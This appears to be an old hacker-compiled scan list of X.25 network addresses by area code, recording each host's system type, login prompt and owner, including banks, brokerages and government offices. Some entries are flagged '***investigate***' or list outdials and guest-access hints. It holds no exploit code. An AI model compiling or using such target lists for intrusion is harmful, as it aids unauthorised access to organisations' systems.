201 1258 VM/CMS GSERV

201 1259 VM/CMS GSERV

201 1263 * (incoming call barred)

201 1264 * (incoming call barred)

201 1265 *

201 1266 *

201 1267 *

201 1268 *

201 1270

201 1272

201 1275 VAX/VMS Shaw Data Services

201 1277

201 1330 *

201 1331 *

201 1332 *

201 1333 $ (echo)

201 1335 $ Environment Control Monitor

201 1340 *

201 1341 *

201 1342 *

201 1343 Prudential

201 1344 Prudential

201 1345 Prudential

201 1346 Prudential

201 1347 Prudential

201 1354 *

201 1359 $ Finlay Fine Jewelry Corp.

201 1370.1 $ HP‑3000 CORPHP.CIS.HCC

201 1371 *

201 1372 *

201 1373 *

201 1374 *

201 1375 *

201 1376 *

201 1377 *

201 1378 *

201 1379 $

201 1430 * (incoming call barred)

201 1431 * (incoming call barred)

201 1432 * (incoming call barred)

201 1433 * (incoming call barred)

201 1434 * (incoming call barred)

201 1435 * (incoming call barred)

201 1442 *

201 1443 *

201 1446 *

201 1454 *

201 1455 *

201 1456 *

201 1460

201 1510

201 2030 Lynx Technologies Inc.

201 2031 VTAM Shearson Lehman Brothers NPSI

201 11234 VAX/VMS

202 ‑ Washington D.C. Scanned: [0 ‑ 3000] & various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

202 1 Prime

202 2 Prime

202 10 Prime

202 12 Prime

202 31 NewsMachine 5.1

202 36 $ NETWORK SIGN‑ON FAILED

202 38 $ NETWORK SIGN‑ON FAILED

202 42 *

202 48 $ U.S.I.A. Computer Center.

202 49 enter system id ‑‑

202 115 $ outdial (202)

202 116 $ outdial (202)

202 117 $ outdial (202)

202 123 $ xxxx

202 138 $ VAX/VMS Gaullaudet University

202 141 >909 761 User name?

202 142 >909 406 User name?

202 149 $

202 150 UPI>

202 152 *

202 201 CompuServe User ID: phones

202 202 CompuServe

202 203 CompuServe

202 224 $ outdial (global)

202 235 $ Prime

202 239 $ Prime

202 241 *

202 243 *

202 245 AOS Username:

202 253 *

202 255 Morgan Stanley Network

202 260 $ PLEASE SELECT: TSOMVS, ANOTHER APPLICATION 202 265 $ USER ID

202 266 $ USER ID

202 275 *

202 276 *

202 277 *

202 278 $ USER ID

202 330 *

202 331 *

202 332 *

202 333 *

202 334 *

202 335 *

202 336 VAX/VMS Congressional Quarterly Online Systems

202 337 VAX/VMS Congressional Quarterly Online Systems

202 353 *

202 356 PRIME PRIMENET 22.1.1.R36 SYSA

202 361 *

202 362 *

202 363 *

202 364 *

202 365 Lexis and Nexis

202 366 Lexis and Nexis

202 367 Lexis and Nexis

202 371 *

202 372 *

202 373 *

202 377 *

202 390 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE 202 391 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE 202 403 $ outdial (202)

202 433 *

202 453 USER ID

202 454 VAX/VMS Connect to GBS

202 455 *

202 456 *

202 458 *

202 459 *

202 465 *

202 466 *

202 467 *

202 468 *

202 469 *

202 472 *

202 477 UPI>

202 478 UPI>

202 479 UPI>

202 550 UPI>

202 616 *

202 617 *

202 1030 *

202 1031 *

202 1032 *

202 1033 *

202 1034 *

202 1155 *

202 1156 *

202 1157 *

202 1158 *

202 1159 *

202 1261 *

202 1262 *

202 1263 *

202 1264 *

202 1265 *

202 1266 *

202 1267 *

202 1268 *

202 1269 *

202 1270 *

202 1323 $

202 1325 VAX/VMS

202 1363 Enter your User Name:

202 1364.1 Unix System name: fmis

202 1365.3 Unix/SysV X.29 Terminal Service (person)

202 1385 Prime PRIMENET 22.1.3 CGYARD

202 1407 Unix/SysV X.29 Terminal Service (person)

202 1440 VAX/VMS Username:

202 3011 *

202 3012 *

202 3030A ASYNC TO 3270 ‑> FIRST AMERICAN BANK OF GEORGIA 202 3036 $ GS/1 GS/X.25 Gateway Server

202 3060 *

202 3067 $ Major BBS Power Exchange (adult bbs and chat) Member‑ID? new 202 3069 $ E06A26B3

202 3070 $

202 3071 $

202 3072 $

202 3074 $ VAX/VMS Welcome to VAX/VMS V5.5‑1

202 3075 *

202 3130 GTE Contel DUAT System (login as visitor) 202 3131 GTE Contel DUAT System (airplane info galore) 202 3134 USER ID

202 3135 USER ID

202 3138 *

202 3139 *

202 3140 *

202 3142 *

202 3145 &StArT&

202 3242 VOS Please login (try 'help')

202 3243 VOS Please login

202 3244 Unix tmn!login:

202 3246 *

202 3247 *

202 3254 VOS Please login

202 3255 VOS Please login

202 3256 VOS Please login

202 3257 (locks up)

202 3258 VOS Please login

202 3259 VOS Please login

202 3260 VOS Please login

202 3261 VOS Please login

202 3262 VOS Please login

202 3263 VOS Please login

202 3264 $ AMS SYSTEM=

202 3269

202 3330 *

202 3332 *

202 3333 *

202 3335 $ NETX A000VD00 READY FOR LOGON

202 3336 $ NETX A000VD00 READY FOR LOGON

202 3337 *

202 3338 *

202 3600 *

202 3601 *

202 3602 *

202 3603 *

202 3604 *

202 3605 *

202 3606 *

202 3611 *

202 3612 *

202 3613 *

202 3614 *

202 3630 *

202 4220

202 4222

202 4226 MSG10‑RJRT TERMINAL‑ID:GSSCXA63 IS NOW IN SESSION 202 60031 VAX/VMS V5.4‑2

202 60033 Unix/SunOS Welcome to QHDS!

202 60035 *

202 60036 NETX A0A0VD00 READY FOR LOGON

202 60039 Unix/SunOS (QHDS.MXBC)

202 60040 Lexis and Nexis

202 60043 *

202 60056

202 60058 *

202 60059 *

202 60060 *

202 60064 *

202 60068 PIN:

202 60069 PIN:

202 60070 PIN:

202 60071 PIN:

202 60073 *

203 ‑ Connecticut Scanned: [0 ‑ 500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

203 22 VM/CMS

203 28 VM/CMS

203 50 CONNECTED TO PACKET/74

203 60 $ GEN*NET Private Switched Data Network

203 61 *

203 62 VAX/VMS ACM Enter SecurID PASSCODE:

203 66 Login Please :

203 67 Login Please :

203 77 *

203 78 $ Novell Netware Access Server (DDS)

203 79 *

203 105 $ outdial (203)

203 120 $ outdial (203)

203 121 $ outdial (203)

203 136 PRIME PRIMENET 20.2.7 SYSA

203 159 $ access barred

203 160 *

203 161 $ Novell Netware Access Server (INFOSYS)

203 165 Panoramic, Inc. PLEASE LOGON: help

203 242 Login Please :

203 274 $ ACF/VTAM

203 277 * (incoming call barred)

203 310

203 317

203 346 *

203 347 SB >

203 350 *

203 362 * (incoming call barred)

203 367 CONNECTED TO PACKET/74

203 434 $ (hangs up)

203 435 $ ACF/VTAM

203 438 $ (echo)

203 442 $ (echo)

203 452 *

203 455

203 458 * (incoming call barred)

203 463 *

203 465 *

205 ‑ Alabama Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

205 237 *

205 245 *

205 246 *

206 ‑ Washington Scanned: [0 ‑ 500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

206 40 $ Prime PRIMENET 23.2.0.r26 P6450

206 60 *

206 65 PRIME PRIMENET 22.1.4 OAD

206 66

206 67 $

206 138 $ MHP201A UPK0BY60 * VERSION 5.5.4 *.

206 139 $ Wang VS Logon

206 154 $ DTC THE SEATTLE DTC (DTC01.MACON.USOPM)

206 158 VAX/VMS Username:

206 167 * (incoming call barred)

206 170 $ hp‑3000

206 173 $ Renex Connect, SN‑00100201

206 205 $ outdial (206)

206 206 $ outdial (206)

206 208 $ outdial (206)

206 239.1$ + Log on please

206 240.1$ ***investigate***

206 250 $ logins to this workstation temp. barred

206 251 $ Wang SYSTEM TWO (TACOMA:TACOMA)

206 351 *

206 352 *

206 357 $ HP‑3000

206 360 CUSTOMER ID:

206 368 *

206 369 *

206 371 $

206 375 Prime PRIMENET 23.2.0.r26 DZ‑BLV

206 430 $ 911 Monitor HATSLNCT is currently not available 206 470 VAX/VMS

206 479 $ + Log on please

207 ‑ Maine Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

207 40 *

207 260 ??? Please login:

208 ‑ Idaho Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

208 236 *

208 250 $ USER ID

208 252 Welcome to the NET, X.29 Password:

209 ‑ California Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

209 241 *

209 243 *

209 245 *

209 246 *

209 270 $ VAX/VMS Continental PET Technologies, MODESTO

209 273 DACS III ***investigate***

211 ‑ Dun & Broadstreet Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

211 1140 D&B terminal

211 1142 D&B terminal

211 1145 VAX/VMS on VBH302

211 1240 Please enter your terminal id; '?' for MENU 211 1242 D&B terminal

211 1244 Please enter your terminal id; '?' for MENU 211 1245 ??? GNETMAIL

211 2150 Prime

211 2240 DunsNet's User Verification Service

211 2247 DUNSCENTER (connects to many machines)

211 2249 ID?>

211 2255 ID?>

211 2450 Prime

211 2451 Prime

211 3290 CMS? IDC/370 Ready‑

211 3291 CMS? IDC/370 Ready‑

211 3292 CMS? IDC/370 Ready‑

211 3390 CMS? IDC/370 Ready‑

211 3391 CMS? IDC/370 Ready‑

211 3392 CMS? IDC/370 Ready‑

211 3490 CMS? IDC/370 Ready‑

211 4190 DunsNet's User Verification Service

211 4240 Enter service code ‑

211 4241 Enter service code ‑

211 5140 DTC Nielsen Household Services (DTC03.NY.NPD) 211 5240 VAX/VMS GUMBY...

211 5290 DTC Nielsen Household Services (DTC02.NY.NPD) 211 6140 PLEASE ENTER SUBSCRIBERID;PASSWORD

211 6141 A. C. Nielsen Information Center.

211 6142 A. C. Nielsen Information Center.

211 6145

211 6190 PLEASE ENTER SUBSCRIBERID;PASSWORD

211 6240 A. C. Nielsen Information Center.

211 6250 ??? USERNAME?

211 6290 PLEASE ENTER SUBSCRIBERID;PASSWORD

211 8140 DIALOG INFORMATION SERVICES

211 8142 VAX/VMS Username:

211 11140 VM/CMS VM/370 ONLINE‑‑

211 11142 VM/CMS VM/370 ONLINE‑‑

211 11144 VAX/VMS Username:

211 13190 D&B terminal (in spanish)

211 13191 D&B terminal

211 14110 Renex Connect, Enter password ‑

211 15140 NEODATA SERVICES NETWORK

212 ‑ New York Scanned: [0 ‑ 3000] & various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

212 30 ENTER ID:

212 31 $ VM/CMS

212 34 *

212 40 PLEASE ENTER /LOGIN

212 41 MHP201A UPK05173 APPLICATION:

212 48 *

212 52 $ Prime

212 53 VAX/VMS

212 73 $ Prime

212 79 ENTER ID:

212 100 VAX/VMS Username:

212 101 VAX/VMS Username:

212 102 **** Invalid sign‑on, please try again **** 212 103 VAX/VMS Username:

212 104 **** Invalid sign‑on, please try again **** 212 105 **** Invalid sign‑on, please try again **** 212 106 **** Invalid sign‑on, please try again **** 212 108 **** Invalid sign‑on, please try again **** 212 109 **** Invalid sign‑on, please try again **** 212 110 **** Invalid sign‑on, please try again **** 212 112 Shearson Lehman Brothers

212 124 $ VAX/VMS Username:

212 130 you are now connected to the host computer 212 131 Shearson Lehman Brothers

212 137 Prime PRIMENET 22.1.1.R17.STS.6 NY60

212 145 ENTER ACCESS ID:

212 146 ENTER ACCESS ID:

212 152 VAX/VMS Username:

212 170 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 172 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 174 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 197 BANKERS TRUST

212 202 VAX/VMS Username:

212 226 USER ID ?

212 231 $ VM/CMS

212 242 ENTER IDENTIFICATION:

212 255 VAX/VMS (PB2 ‑ PBS Development System)

212 259 VAX/VMS (NYTASD ‑ TAS SYSTEM)

212 260 Bankers Trust Online

212 274 $ INVALID INPUT

212 275 Bankers Trust Online

212 276 *

212 277 ****POSSIBLE DATA LOSS 00 00****

212 278 Bankers Trust Online

212 279 User: (RSTS V9.3‑20)

212 285 Invalid login attempt

212 306 *

212 315 $ outdial (212)

212 320 ENTER IDENTIFICATION:

212 321 ENTER IDENTIFICATION:

212 322 $ COMMAND UNRECOGNIZED

212 336 *

212 344 *

212 345 Prime PRIMENET 23.2.0.R32 NMSG

212 352 *

212 359 (drops connection right away)

212 376 ‑> 201 950 Bankers Trust Online

212 430 ‑> 312 59 Id Please: User Id: Password:

212 432 *

212 437 *

212 438 *

212 440 *

212 444 Prime PRIMENET 21.0.7.R31 EMCO

212 446 $ VAX/VMS

212 449 $ VM/CMS

212 500 enter a for astra

212 501 enter a for astra

212 502 enter a for astra

212 503 enter a for astra

212 504 enter a for astra

212 505 enter a for astra

212 509 $ Transamerican Leasing (White Plains Data Center) 212 539 (drops connections right away)

212 546 $ APLICACAO:

212 549 $ BT‑Tymnet Gateway

212 561 VAX/VMS Username:

212 571 You are not authorized to connect to this machine. 212 572 $ No access to this DTE.

212 580 enter a for astra

212 603 Shearson Lehman Brothers

212 615 Shearson Lehman Brothers

212 623 Shearson Lehman Brothers

212 693 $ USER ID

212 703 Unix

212 704 Unix

212 713 Prime PRIMENET 22.1.1.R17.STS.6 NY60

212 726 $ VAX/VMS

212 731

212 970 *

212 971 *

212 972 *

212 973 *

212 974 *

212 975 *

212 976 *

212 977 *

212 978 *

212 979 *

212 1000 $ Enter ID:

212 1001 $ Enter ID:

212 1002 $ Enter ID:

212 1004 $ Enter ID:

212 1009 $ outdial (212)

212 1045 $ HP‑3000 White & Case ‑ HP 3000 Computer System

212 1046 *

212 1049 APPLICATION:

212 1050 NSP READY?

212 1052 Prime PRIMENET 20.2.4.R11 FTC0

212 1053 VAX/VMS

212 1065 $ AOS Track Data System 12

212 1069 #

212 1071 $ GS/1 CS/100T>

212 1072 $ GS/1 CS/100T>

212 1076 NSP READY

212 1233 *

212 1355 *

212 1356 *

212 1367 You are not authorized to connect to this machine. 212 1373 enter a for astra

212 1450 RadioSuisse Services.

212 1469

212 1477 n042ppp> enter system id

212 1478 n042ppp> enter system id

212 2050B Unix softdollar login:

212 2050D Unix softdollar login:

212 2060 $ T.S.S.G

212 2061 $ Boston Safe Deposit and Trust Company

212 2062 $ TWX40 LOGGED INTO AN INFORMATION SERVICES NETWORK 212 2071 VM/CMS GSERV

212 2079 VM/CMS GSERV

212 2130 $ (echo)

212 2131 $ (echo)

212 2134 $ (echo)

212 2135 $ (echo)

212 2230 $ (echo)

212 2231 $ (echo)

212 2234 $ (echo)

212 2235 $ (echo)

212 2245 $ Finlay Fine Jewelry Corp.

212 2250 VAX/VMS Username:

212 2251 **** Invalid sign‑on, please try again **** 212 2252 **** Invalid sign‑on, please try again **** 212 2253 **** Invalid sign‑on, please try again **** 212 2254 **** Invalid sign‑on, please try again **** 212 2270 **** Invalid sign‑on, please try again **** 212 2271 **** Invalid sign‑on, please try again **** 212 2272 **** Invalid sign‑on, please try again **** 212 2273 **** Invalid sign‑on, please try again **** 212 2274 **** Invalid sign‑on, please try again **** 212 60002 You are not authorized to connect to this machine. 212 60007 You are not authorized to connect to this machine. 212 60010 You are not authorized to connect to this machine. 212 60031 VM/CMS

212 60032 ENTER ID:

212 60033 Prime CDA Online Services

212 60034 CHANNEL 03/009. ENTER RESOURCE

212 60037 VAX/VMS MuniView

212 60044 *

212 60051 *

212 60055 USER ID

213 ‑ California Scanned: [0 ‑ 2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

213 21 Prime PRIMENET 23.2.0.R32 C6

213 22 Prime PRIMENET 23.2.0.R32 D6

213 23 $ outdial (213)

213 24 Marketron Research and Sales System

213 25 $ outdial (213)

213 35 Marketron Research and Sales System

213 41 $ (echo)

213 45 $ ENTER NETWORK SIGN‑ON:

213 50 $ (echo)

213 52 $ Prime

213 53 CONNECTED TO PACKET/74

213 55 CONNECTED TO PACKET/74

213 56 CONNECTED TO PACKET/74

213 60 CONNECTED TO PACKET/74

213 61 CONNECTED TO PACKET/74

213 68 *

213 70 *

213 102 Prime PRIMENET 21.0.7.R10 TRWE.A

213 103 $ outdial (213)

213 105 Prime PRIMENET 22.1.3.beta1 SWOP

213 121 Prime PRIMENET 23.0.0 SWWE1

213 122 Unix Computervision Los Angeles District Admin System 213 123 Prime PRIMENET 23.3.0.r29 SWWA1

213 129 Prime PRIMENET 22.0.3vA CALMA1

213 151 Prime PRIMENET 22.1.3 CSSWR1

213 154 Prime PRIMENET 22.1.1.R27 SWWCR

213 155 Prime PRIMENET 22.1.3 CS.LA

213 199 Prime PRIMENET 23.2.0.R32 C6

213 220A TELENET ASYNC TO 3270 SERVICE

213 221A TELENET ASYNC TO 3270 SERVICE

213 248 *

213 249 *

213 262 *

213 265 *

213 340 Prime PRIMENET 23.2.0 TRNGW

213 336 *

213 337 $ HP‑3000

213 351 Unix/SunOS SunOS Release 4.1.2 (X25)

213 357 Unix/SunOS SunOS Release 4.1.1 (X25)

213 359 Unix

213 371 *

213 373 HP‑3000 SAGAN.HP.COM

213 412 $ outdial (213)

213 413 $ outdial (213)

213 540 *

213 541 *

213 542 *

213 543 *

213 660

213 1052 $ Environment Control Monitor

213 1053 $ Unix milpitas login:

213 1054 *

213 1055 $ Environment Control Monitor

213 1056 *

213 1057 $ Denver Service System (ECM)

213 1064 *

213 1065 HP‑3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 213 1073

213 1079 *

213 1160 *

213 1418 *

213 1419 *

213 1420 *

213 1421 *

213 1422 *

213 1423 *

213 1424 *

213 1425 *

213 1426 *

213 1427 *

213 1428 *

213 1429 *

213 1430 *

213 1450 MACNET:

214 ‑ Texas Scanned: [0 ‑ 2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

214 20 SIM3278

214 21 SIM3278

214 22 $ outdial (214)

214 42 VAX/VMS Username:

214 60 HP‑3000 DELTA.RCO.NTI

214 68 $ VAX/VMS GTECVC

214 76 Cyber Power Computing Cyber Service

214 231

214 240

214 245 *

214 337

214 352 IST451I ENTER VALID COMMAND ‑ NETX B0A8VD00 214 355 *

214 358 *

214 364 $ VAX/VMS GTECVC

214 366 Renex Connect, Enter service code ‑

214 371 Prime PRIMENET 21.0.2S GCAD..

214 372

214 373 *

214 1031 *

214 1032 *

214 1033 *

214 1034 $ (echo)

214 1035 *

214 1040 $ (echo)

214 1048 Renex Connect, Enter terminal type or "M" for menu 214 1070 BT‑Tymnet Gateway please log in: information 214 1071 Cyber You may enter CDCNET commands.

214 1075 Cyber You may enter CDCNET commands.

214 1131 *

214 1151 VAX/VMS Username:

214 1152 *

214 1153

214 1158 *

214 1161 VAX/VMS Username:

214 1230 *

214 1237

214 1238

214 1241 *

214 1242 *

214 1243 *

214 1244 *

214 1245 *

214 1246 *

214 1247 *

214 1248 *

214 1249 *

214 1250 *

214 1251 *

214 1252 *

214 1253 *

214 1254 *

214 1255 *

214 1256 *

214 1257 *

214 1258 *

214 1260 *

214 1261 *

214 1262 *

214 1263 *

214 1264 *

214 1265 VAX/VMS Username:

214 1277 *

214 1278 *

214 1334 *

214 1335 *

214 1336 *

214 1337 *

214 1338 *

214 1339 *

214 1340 *

214 1341 *

214 1343 *

214 1358 *

214 1359 *

214 1362 VAX/VMS Username:

214 1363 *

214 1364 *

214 1365 *

214 1366 *

215 ‑ Pennsylvania Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

215 5 $ outdial (215)

215 22 $ outdial (215)

215 30 *

215 38 *

215 40 VU/TEXT

215 44 *

215 55 *

215 60 *

215 66 Prime NewsNet

215 112 $ outdial (215)

215 121 VM/CMS TOWERS PERRIN ONLINE‑‑PHILA

215 134 *

215 135 VU/TEXT

215 139 *

215 140 VU/TEXT

215 143 *

215 154

215 163 Unix

215 164 Unix

215 165 Unix

215 166 Unix

215 167 Unix

215 168 Unix

215 169 Unix

215 170 Unix

215 171 Unix

215 172 *

215 173 *

215 176 *

215 179 Unix PLASPEC Engineering & Marketing Network

215 231

215 251 Unix

215 252 Unix

215 253 Unix

215 254 Unix

215 255 Unix

215 261 VAX/VMS File Transfer and Gateway Service Node ARGO 215 262

215 263

215 263

215 264 %@CVTTAUD@dUYECVGUIiED

215 270 CONNECTED TO PACKET/400

215 530 $

215 531 $

215 532 $

215 533 $

215 534 $

215 535 $

215 536 $

215 537 $

215 538 $

215 539 $

215 540 $

215 541 $

216 ‑ Ohio Scanned: [0 ‑ 2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

216 20 $ outdial (216)

216 21 $ outdial (216)

216 38 VAX/VMS Username:

216 49

216 51 *

216 59 *

216 60 APPLICATION:

216 63 *

216 64 Prime PRIMENET 20.2.4 LIPC

216 74 $ hp‑x000

216 75 *

216 120 $ outdial (216)

216 134 *

216 135 *

216 140

216 201 $ HP‑3000

216 202 *

216 203 *

216 204 *

216 205 *

216 209 *

216 210 *

216 211 *

216 212 $ HP‑3000

216 530 *

216 531 *

216 532 *

216 533 *

216 534 *

216 535 *

216 536 *

216 537 *

216 538 *

216 539 $ (echo)

216 1351 Prime PRIMENET 22.1.4 OPSPRO

216 1352 Prime Good morning

216 1353 Prime PRIMENET 22.1.4 OPSPRO

216 1354 Prime Good morning

216 1355 $ Prime PRIMENET 22.1.4.R63 OPSSEC

216 1356 *

216 1357 Prime Good morning

216 1358 Prime PRIMENET 22.1.4 OPSPRO

216 1369 *

216 1370 *

216 1371 *

216 1372 *

217 ‑ Illinois Scanned: 0 ‑ 200

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

217 45 *

217 46 *

219 ‑ Indiana Scanned: 0 ‑ 200

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

219 3 Prime PRIMENET 22.1.0vA2 NODE.0

219 8 Prime PRIMENET 23.2.0vA NODE.8

219 9 ENTER GROUP NAME>

219 10 Lincoln National Corporation

219 35 $ MHP201A ZMA0PZ10 * VERSION 6.0.1 *.

219 140 Prime PRIMENET 23.2.0vA CS.FTW

219 150 *

222 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

222 100 Prime

222 140 Prime

222 320 Prime

222 340

223 ‑ Citibank Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

223 1 $ GS/1 CITITRUST/WIN Gateway! (Toll 25 cents)

223 6 PLEASE ENTER TRANSACTION ID:

223 10 Prime

223 11 Prime

223 13 Prime

223 15 Prime

223 17 CDS DATA PROCESSING SUPPORT

223 19 $ HP‑3000

223 26 NETWORK USER VALIDATION.

223 31

223 32 enter a for astra

223 34 NETWORK USER VALIDATION.

223 35 VAX/VMS TREASURY PRODUCTS

223 39 Major BBS GALACTICOMM User‑ID? new

223 40 Global Report from Citicorp

223 41 VOS (other systems connect from there)

223 42 CITICORP/CITIBANK ‑ 0005,PORT 3

223 46 $ Enter Secure Access ID ‑02‑>

223 47 CCMS

223 48A CITIBANK ,PORT 5

223 50 Prime

223 54 CITI CASH MANAGEMENT NETWORK ‑

223 55 NETWORK USER VALIDATION.

223 57

223 65 VOS

223 68 $ Citimail II

223 70 ELECTRONIC CHECK MANAGER ENTER 'ECM'

223 71 ""

223 74A ""

223 79 VAX/VMS Audit login ‑‑‑ Your session will be recorded. 223 87 VOS CitiShare Milwaukee, Wisconsin

223 91 VAX/VMS Unauthorized Use Is Prohibited

223 92 <<please enter logon>>

223 93 Major BBS? Citibank Customer Delivery Systems (#95298116) 223 94 <<ENTER PASSWORD>>

223 95

223 96 <<ENTER PASSWORD>>

223 103 <<ENTER PASSWORD>>

223 104 $ VAX/VMS

223 106

223 175 enter a for astra

223 176 VAX/VMS

223 178 NETWORK USER VALIDATION.

223 179 $

223 183 Prime

223 184 Prime PRIMENET 23.2.0vB PROD‑C

223 185 Citibank Hongkong

223 186 Citibank Hongking

223 187 $ DECserver

223 188 GS/1 CITITRUST/WIN Gateway! (Toll 25 cents)

223 189 $ DECserver

223 191 (need x.citipc terminal emulator)

223 193 Prime

223 194 VAX/VMS

223 199 $

223 200 NETWORK USER VALIDATION.

223 201 C/C/M INT'L 3 ENTER YOUR ID : [ ] 223 202 C/C/M INT'L 4 ENTER YOUR ID : [ ] 223 204 C/C/M INT'L 6 ENTER YOUR ID : [ ] 223 208 C/C/M ENTER YOUR ID : [ ] 223 210 NETWORK USER VALIDATION.

223 211 CITI Master Policy Bulletin Board

223 212 ""

223 216 VAX/VMS *** Unauthorized Access Prohibited ***

223 217

223 218

223 222 Unix SysV Citibank PDC Registration System

223 223 CITIBANK SINGAPORE

223 223 Unix discovery login:

223 227 Prime PRIMENET 23.2.0.R43 BASCOS

223 234 VCP‑1000 Terminal Server

223 256 VOS CITIBANK ‑ NSO NEW YORK, NY

223 258 VOS CITIBANK ‑ NSO NEW YORK, NY

223 259 VOS CITIBANK ‑ NSO NEW YORK, NY

223 260 VAX/VMS Unauthorized Use Is Prohibited

223 503 ??? :

223 508

223 510 VOS Citibank Puerto Rico

223 512 VAX/VMS #6 Node: NYF050

223 513 CITI CASH MANAGEMENT NETWORK ‑

223 515 Prime PRIMENET 23.2.0.R43 BASCOS

223 519 Prime PRIMENET 23.2.0.R43 OBSPOM

223 520 $ CitiMail II

223 521 $ Major BBS User‑ID? new

223 523 Prime PRIMENET 23.2.0.R43 LATPRI

223 524 $ GS/1 Cititrust (Cayman)'s WIN Gateway!

223 527 INVALID COMMAND SYNTAX

223 600

223 1000 CITI CASH MANAGEMENT NETWORK

223 1002

223 3002 NETWORK USER VALIDATION.

223 3003 ??? Welcome to Citiswitch, New York

223 3008 ??? ""

223 3011 Unix DG/UX Release 4.32. AViiON (gnccsvr)

223 3012 Unix DG/UX Release 4.32. AViiON (gnccsvr)

223 3020 Prime

223 3030 $ VAX/VMS

223 3031 *

223 3042A CITI Master Policy Bulletin Board

223 3044

223 3046

223 3048 $ DECserver

223 3052 Unix DG/UX Release 4.32. AViiON (parsvr)

223 3056 *

223 3060B TBBS Citicorp Futures Corp.

223 3064 $

223 3066

223 3067 NETWORK USER VALIDATION.

223 3070 *

223 3074 NETWORK USER VALIDATION.

223 3075A Port Selec Systems: EQX/SUP,SECURID,TS,TS1,TS2,TS3,PBX 223 3077

223 3080A PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK. 223 3082

223 3083 ENQUIRE GSM User ID?

223 3086 VOS Citishare

223 3088 HP‑3000 SYSTEMC.HP.CITIBANK

223 4700 *

223 8050 ILLEGAL SOURCE ADDRESS 0B 80

223 8052

223 8053 TYPE .

223 8056 ILLEGAL SOURCE ADDRESS 0B 80

223 8057 *

223 8058 ILLEGAL SOURCE ADDRESS 0B 80

223 8059 ILLEGAL SOURCE ADDRESS 0B 80

223 8100 Prime PRIMENET 23.1.0 LATRG1

223 8101 Prime PRIMENET 23.1.0 LATRG2

